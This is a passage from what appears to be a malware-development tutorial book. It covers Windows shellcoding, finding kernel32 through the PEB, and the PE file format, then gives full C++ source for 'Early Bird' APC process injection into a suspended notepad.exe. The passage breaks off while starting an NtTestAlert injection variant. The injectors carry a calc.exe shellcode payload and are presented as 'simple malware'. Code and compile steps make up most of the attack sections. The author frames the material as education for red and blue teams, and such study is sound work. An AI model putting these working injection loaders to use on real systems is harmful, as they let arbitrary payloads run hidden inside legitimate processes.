push ecx ; string terminator 0x00
; for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163

mov eax, esp ; save pointer to "calc.exe"


; string in ebx

; UINT WinExec([in] LPCSTR lpCmdLine, [in] UINT uCmdShow);


inc ecx ; uCmdShow = 1
push ecx ; uCmdShow *ptr to stack in
; 2nd position - LIFO
push eax ; lpcmdLine *ptr to stack in
; 1st position
mov ebx, 0x76f0e5fd ; call WinExec() function
; addr in kernel32.dll
call ebx

; void ExitProcess([in] UINT uExitCode);


xor eax, eax ; zero out eax
push eax ; push NULL
mov eax, 0x76ed214f ; call ExitProcess function

74
; addr in kernel32.dll
jmp eax ; execute the ExitProcess function

Compile:
nasm -f elf32 -o example1.o example1.asm
ld -m elf_i386 -o example1 example1.o
objdump -M intel -d example1

Then, let’s go to extract byte code via bash-hacking and objdump again:
objdump -M intel -d example1 | grep '[0-9a-f]:'|grep -v
'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|
sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/ˆ/"/'|
sed 's/$/"/g'

So, our bytecode is:


"\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c
\x63\x89\xe0\x41\x51\x50\xbb\xfd\xe5\xf0\x76\xff
\xd3\x31\xc0\x50\xb8\x4f\x21\xed\x76\xff\xe0"

compiled as ELF file for linux 32-bit because we are only using nasm
to translate the opcodes for us
Then, replace the code at the top (run.c) with:

75
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61"
"\x6c\x63\x89\xe0\x41\x51\x50\xbb\xfd\xe5\xf0"
"\x76\xff\xd3\x31\xc0\x50\xb8\x4f\x21\xed\x76"
"\xff\xe0";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

Compile:
i686-w64-mingw32-gcc run.c -o run.exe

And run:
.\run.exe

76
The calc.exe process runs even after the host process dies because
it is it’s own process.
So our shellcode is perfectly worked :)
This is how you create your own shellcode for windows, for example.
But, there is one caveat. This shellcode will only work on this machine. Because,
the addresses of all DLLs and their functions change on reboot and are different
on each system. In order for it to work on any windows 7 x86 sp1, ASM needs
to find the addresses of the functions by itself. I will do this in the next part.
WinExec
ExitProcess
The Shellcoder’s Handbook
my intro to x86 assembly
my nasm tutorial
linux shellcoding part 1
linux shellcoding part 2
Source code in Github

11. windows shellcoding - part 2. Find kernel32 address

In the first part of my post about windows shellcoding we found the addresses
of kernel32 and functions using the following logic:
/*
getaddr.c - get addresses of functions
(ExitProcess, WinExec) in memory
*/
#include <windows.h>
#include <stdio.h>

int main() {
unsigned long Kernel32Addr; // kernel32.dll address
unsigned long ExitProcessAddr; // ExitProcess address

77
unsigned long WinExecAddr; // WinExec address

Kernel32Addr = GetModuleHandle("kernel32.dll");
printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);

ExitProcessAddr = GetProcAddress(Kernel32Addr, "ExitProcess");


printf("ExitProcess address in memory is: 0x%08p\n",
ExitProcessAddr);

WinExecAddr = GetProcAddress(Kernel32Addr, "WinExec");


printf("WinExec address in memory is: 0x%08p\n", WinExecAddr);

getchar();
return 0;
}

Then we entered the found address into our shellcode:


; void ExitProcess([in] UINT uExitCode);
xor eax, eax ; zero out eax
push eax ; push NULL
mov eax, 0x76ed214f ; call ExitProcess function
; addr in kernel32.dll
jmp eax ; execute the ExitProcess function

The caveat is that the addresses of all DLLs and their functions change upon
reboot and differ in each system. For this reason, we cannot hard-code any
addresses in our ASM code:

First of all, how do we find the address of kernel32.dll?

78
TEB and PEB structures
Whenever we execute any exe file, the first thing that is created (at least to my
knowledge) in the OS are PEB:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;

and TEB:
typedef struct _TEB {
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;

PEB - process structure in windows, filled in by the loader at the stage of process
creation, which contains the information necessary for the functioning of the
process.
TEB is a structure that is used to store information about threads in the current
process, each thread has its own TEB.

79
Let’s open some program in the windbg debugger and run command:
dt _teb

As we can see, PEB has an offset of 0x030. Similarly, we can see the contents of
the PEB structure using command:
dt _peb

We now need to look at the member that is at an offset of 0x00c from the base
of the PEB structure, which is the PEB_LDR_DATA. PEB_LDR_DATA contains
information about the loaded modules for the process.
Then, we can also examine PEB_LDR_DATA structure via windbg:
dt _PEB_LDR_DATA

Here we can see that the offset of InLoadOrderModuleList is 0x00c,


InMemoryOrderModuleList is 0x014, and InInitializationOrderModuleList
is 0x01c.
InMemoryOrderModuleList is a doubly linked list where each list item points
to an LDR_DATA_TABLE_ENTRY structure, so Windbg suggests the structure type

80
is LIST_ENTRY.
Before we continue let’s run the command:
!peb

As we can see, LDR (PEB structure) address is - 77328880.


Now to see the addresses of the InLoadOrderModuleList, InMemoryOrderModuleList
and InInitializationOrderModuleList run the command:
dt _PEB_LDR_DATA 77328880

This will show us the corresponding start addresses and end addresses of linked
lists:

Let’s try to view the modules loaded into the LDR_DATA_TABLE_ENTRY structure,
and we will also indicate the starting address of this structure at 0x5119f8
so that we can see the base addresses of the loaded modules. Remember that
0x5119f8 is the address of this structure, so the first entry will be 8 bytes less
than this address:
dt _LDR_DATA_TABLE_ENTRY 0x5119f8-8

81
As you can see BaseDllName is our exit.exe. This is exe I executed.
Also, you can see that the InMemoryOrderLinks address is now 0x511a88.
DllBase at offset 0x018 contains the base address BaseDllName. Now our next
loaded module should be 8 bytes away from 0x511a88, namely 0x5119f8-8:
dt _LDR_DATA_TABLE_ENTRY 0x5119f8-8

As you can see BaseDllName is ntdll.dll. It’s address is 0x77250000 and the
next module is 8 bytes after 0x511e58. So, then:
dt _LDR_DATA_TABLE_ENTRY 0x511e58-8

As you can see our third module is kernel32.dll and it’s address is 0x76fd0000,
offset is 0x018. To make sure that it is correct, we can run our getaddr.exe:

82
This module loading order will always be fixed (at least to my knowledge) for
Windows 10, 7. So when we write in ASM, we can go through the entire PEB
LDR structure and find the kernel32.dll address and load it into our shellcode.
As I wrote in the first part, The next module should be kernelbase.dll. Just
for experiment, to make sure that it is correct, we can run:
dt _LDR_DATA_TABLE_ENTRY 0x511f70-8

Thus, the following is obtained:


1. offset to the PEB struct is 0x030
2. offset to LDR within PEB is 0x00c
3. offset to InMemoryOrderModuleList is 0x014
4. 1st loaded module is our .exe
5. 2nd loaded module is ntdll.dll
6. 3rd loaded module is kernel32.dll
7. 4th loaded module is kernelbase.dll
In all recent versions of the Windows OS (at least to my knowledge), the FS
register points to the TEB. Therefore, to get the base address of our kernel32.dll
(kernel.asm):
; find kernel32
; author @cocomelonc
; nasm -f win32 -o kernel.o kernel.asm
; ld -m i386pe -o kernel.exe kernel.o
; 32-bit windows

83
section .data

section .bss

section .text
global _start ; must be declared for linker

_start:
mov eax, [fs:ecx + 0x30] ; offset to the PEB struct
mov eax, [eax + 0xc] ; offset to LDR within PEB
mov eax, [eax + 0x14] ; offset to
; InMemoryOrderModuleList
mov eax, [eax] ; kernel.exe address loaded
; in eax (1st module)
mov eax, [eax] ; ntdll.dll address loaded
; (2nd module)
mov eax, [eax + 0x10] ; kernel32.dll address
; loaded (3rd module)

With this assembly code we can find the kernel32.dll address and store it in
EAX register, so compile it:
nasm -f win32 -o kernel.o kernel.asm
ld -m i386pe -o kernel.exe kernel.o

Copy it and run it in debugger on windows 7:

84
run:

As you can see everything is worked perfectly!


The next step is to find the address of function (for example ExitProcess) using
LoadLibraryA and call the function. This will be in the next part.
History and Advances in Windows Shellcode
PEB structure
TEB structure
PEB_LDR_DATA structure
The Shellcoder’s Handbook
windows shellcoding part 1
Source code in Github

85
12. windows shellcoding - part 3. PE file format

This section can be read not only as a continuation of the previous ones, but
also as a separate material. This one is overview of PE file format.

PE file
What is PE file format? It’s the native file format of Win32. Its specification is
derived somewhat from the Unix Coff (common object file format). The meaning
of “portable executable” is that the file format is universal across win32 platform:
the PE loader of every win32 platform recognizes and uses this file format even
when Windows is running on CPU platforms other than Intel. It doesn’t mean
your PE executables would be able to port to other CPU platforms without
change. Thus studying the PE file format gives you valuable insights into the
structure of Windows.
Basically PE file structure looks like this:

86
87
The PE File Format is essentially defined by the PE Header so you will want to
read about that first, you don’t need to understand every single part of it but
you should get an idea about it’s structure and be able to identify the parts that
are most important.

DOS header
DOS header store the information needed to load the PE file. Therefore, this
header is mandatory for loading a PE file.
DOS header structure:
typedef struct _IMAGE_DOS_HEADER {// DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

and it is 64 bytes in size. In this structure, the most important fields are e_magic
and e_lfanew. The first two bytes of the header are the magic bytes which
identify the file type, 4D 5A or “MZ” which are the initials of Mark Zbikowski
who worked on DOS at Microsoft. These magic bytes define it as a PE file:

e_lfanew - is at offset 0x3c of the DOS HEADER and contains the offset to the
PE header:

88
DOS stub
After the first 64 bytes of the file, a dos stub starts. This area in memory is
mostly filled with zeros:

PE header
This portion is small and simply contains a file signature which are the magic
bytes PE\0\0 or 50 45 00 00:

89
It’s structure:
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

Let’s take a closer look at this structure.


File Header (or COFF Header) - a set of fields describing the basic character-
istics of the file:
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

90
Optional Header - it’s optional in context of COFF object files but not PE files.
It contains many important variables such as AddressOfEntryPoint, ImageBase,
Section Alignment, SizeOfImage, SizeOfHeaders and the DataDirectory.
This structure has 32-bit and 64-bit versions:
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//

WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;

//
// NT additional fields.
//

DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;

91
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY
DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

Here I want to draw you attention to IMAGE_DATA_DIRECTORY:


typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

it’s data directory. Simply it is an array (16 in size), each element of which
contains a structure of 2 DWORD values.
Currently, PE files can contain the following data directories:
• Export Table
• Import Table
• Resource Table
• Exception Table
• Certificate Table
• Base Relocation Table
• Debug
• Architecture
• Global Ptr
• TLS Table

92
• Load Config Table
• Bound Import
• IAT (Import Address Table)
• Delay Import Descriptor
• CLR Runtime Header
• Reserved, must be zero
As I wrote earlier, I will consider in more detail only some of them.

Section Table
Contains an array of IMAGE_SECTION_HEADER structs which define the sections
of the PE file such as the .text and .data sections. IMAGE_SECTION_HEADER
structure is:
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

and consists of 0x28 bytes.

Sections
After the section table comes the actual sections:

93
Applications do not directly access physical memory, they only access virtual
memory. Sections are an area that is paged out into virtual memory and all
work is done directly with this data. The address in virtual memory, without
any offsets, is called the Virtual Address, or VA for short. In other words,
the Virtual Addresses (VAs) are the memory addresses that are referenced by
an application. Preferred download location for the application, set in the
ImageBase field. It is like the point at which an application area begins
in virtual memory. And the offsets RVA (Relative Virtual Address) are
measured relative to this point. We can calculate RVA with the help of the
following formula: RVA = VA - ImageBase. ImageBase is always known to us
and having received VA or RVA at our disposal, we can express one through the
other.
The size of each section is fixed in the section table, so the sections must be of a
certain size, and for this they are supplemented with NULL bytes (00).
An application in Windows NT typically has different predefined sections, such
as .text, .bss, .rdata, .data, .rsrc. Depending on the application, some of
these sections are used, but not all are used.

.text In Windows, all code segments reside in a section called .text.

.rdata The read-only data on the file system, such as strings and constants
reside in a section called .rdata.

.rsrc The .rsrc is a resource section, which contains resource information. In


many cases it shows icons and images that are part of the file’s resources. It begins
with a resource directory structure like most other sections, but this section’s
data is further structured into a resource tree. IMAGE_RESOURCE_DIRECTORY,
shown below, forms the root and nodes of the tree:
typedef struct _IMAGE_RESOURCE_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
WORD NumberOfNamedEntries;
WORD NumberOfIdEntries;
} IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;

.edata The .edata section contains export data for an application or DLL.
When present, this section contains an export directory for getting to the export
information. IMAGE_EXPORT_DIRECTORY structure is:
typedef struct _IMAGE_EXPORT_DIRECTORY {
ULONG Characteristics;
ULONG TimeDateStamp;

94
USHORT MajorVersion;
USHORT MinorVersion;
ULONG Name;
ULONG Base;
ULONG NumberOfFunctions;
ULONG NumberOfNames;
PULONG *AddressOfFunctions;
PULONG *AddressOfNames;
PUSHORT *AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

Exported symbols are generally found in DLLs, but DLLs can also import
symbols. The main purpose of the export table is to associate the names and /
or numbers of the exported functions with their RVA, that is, with the position
in the process memory card.

Import Address Table


The Import Address Table is comprised of function pointers, and is used to get
the addresses of functions when the DLLs are loaded. A compiled application
was designed so that all API calls will not use direct hardcoded addresses but
rather work through a function pointer.

Conclusion
The PE file format is more complex than I wrote in this post, for example, an
interesting illustration about windows executable can be found on the Ange
Albertini’s github project corkami:

95
PE bear
MSDN PE format
corkami
An In-Depth Look into the Win32 Portable Executable File Format
An In-Depth Look into the Win32 Portable Executable File Format, Part 2
MSDN IMAGE_NT_HEADERS
MSDN IMAGE_FILE_HEADER
MSDN IMAGE_OPTIONAL_HEADER
MSDN IMAGE_DATA_DIRECTORY

13. APC injection technique. Simple C++ malware.

In the previous sections I wrote about classic code injection, and classic DLL
injection.
Today in this section I will discuss about a “Early Bird” APC injection technique.
Today we’re going to look at QueueUserAPC which takes advantage of the
asynchronous procedure call to queue a specific thread.
Each thread has its own APC queue. An application queues an APC to a thread
by calling the QueueUserAPC function. The calling thread specifies the address
of an APC function in the call to QueueUserAPC. The queuing of an APC is a
request for the thread to call the APC function.
High level overview of this technique is:
Firstly, our malicious program creates a new legitimate process (in our case
notepad.exe):

96
Whenever we see a call to CreateProcess, two important parameters we want
to pay attention to are the first (executable to be invoked), and sixth (process
creation flags). The creation flag is CREATE_SUSPENDED.
Then, memory for payload is allocated in the newly created process’s memory
space:

As I wrote earlier in previous posts, there is a very important difference between


VirtualAlloc and VirtualAllocEx. The former will allocate memory in the
calling process, the latter will allocate memory in a remote process. So if we see
malware call VirtualAllocEx, there more than likely will be some kind of cross

97
process activity about to commence.
APC routine pointing to the shellcode is declared.
Then payload is written to the allocated memory:

APC is queued to the main thread which is currently in suspended state:

Finally, thread is resumed and our payload is executed:

98
So, our full source code is (evil.cpp):
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// our payload calc.exe


unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,

99
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main() {

// Create a 64-bit process:


STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID my_payload_mem;
SIZE_T my_payload_len = sizeof(my_payload);
LPCWSTR cmd;
HANDLE hProcess, hThread;
NTSTATUS status;

ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);

CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, false,
CREATE_SUSPENDED, NULL, NULL, &si, &pi
);
WaitForSingleObject(pi.hProcess, 5000);
hProcess = pi.hProcess;
hThread = pi.hThread;

// allocate a memory buffer for payload


my_payload_mem = VirtualAllocEx(hProcess, NULL, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// write payload to allocated buffer


WriteProcessMemory(hProcess,
my_payload_mem,
my_payload,
my_payload_len, NULL);

100
// inject into the suspended thread.
PTHREAD_START_ROUTINE apc_r = (PTHREAD_START_ROUTINE)my_payload_mem;
QueueUserAPC((PAPCFUNC)apc_r, hThread, NULL);

// resume to suspended thread


ResumeThread(hThread);

return 0;
}

As you can see for simplicity, we use 64-bit calc.exe as the payload. Without
delving into the generation of the payload, we will simply insert payload into
our code:
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

Let’s go to compile:

101
x86_64-w64-mingw32-gcc evil.cpp -o evil.exe -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc

Let’s go to launch a evil.exe on windows 7 x64:

If we check the newly started notepad.exe in the Process Hacker, we can confirm
that the main thread is indeed suspended:

As you can see, WaitForSingleObject function second parameter is


30000 for demonstration, in real-world scenario it’s not so big.
Our evil.exe is also worked in windows 10 x64:

102
APC MSDN
QueueUserAPC
VirtualAllocEx
WaitForSingleObject
WriteProcessMemory
ResumeThread
ZeroMemory
Source code in Github
In the future I will try to figure out more advanced code injection techniques.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.

14. APC injection via NtTestAlert. Simple C++ malware.

In last section I wrote about “Early Bird” APC injection technique.


In this section I will discuss about another APC injection technique. Its meaning
is that we are using an undocumented function NtTestAlert. So let’s go to
show how to execute shellcode within a local process by leveraging a Win32 API
QueueUserAPC and an officially undocumented Native API NtTestAlert.

103
NtTestAlert
NtTestAlert is a system call that’s related to the alerts mechanism of Windows.
This system call can cause execution of any pending APCs the thread has.
Before a thread starts executing it’s Win32 start address it calls NtTestAlert
to execute any pending APCs.

example
Let’s take a look at our C++ source code of our malware:
/*
hack.cpp
APC code injection via undocumented NtTestAlert
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/20/malware-injection-4.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#pragma comment(lib, "ntdll")


using myNtTestAlert = NTSTATUS(NTAPI*)();

unsigned char my_payload[] = {


0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,

104
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main(int argc, char* argv[]) {


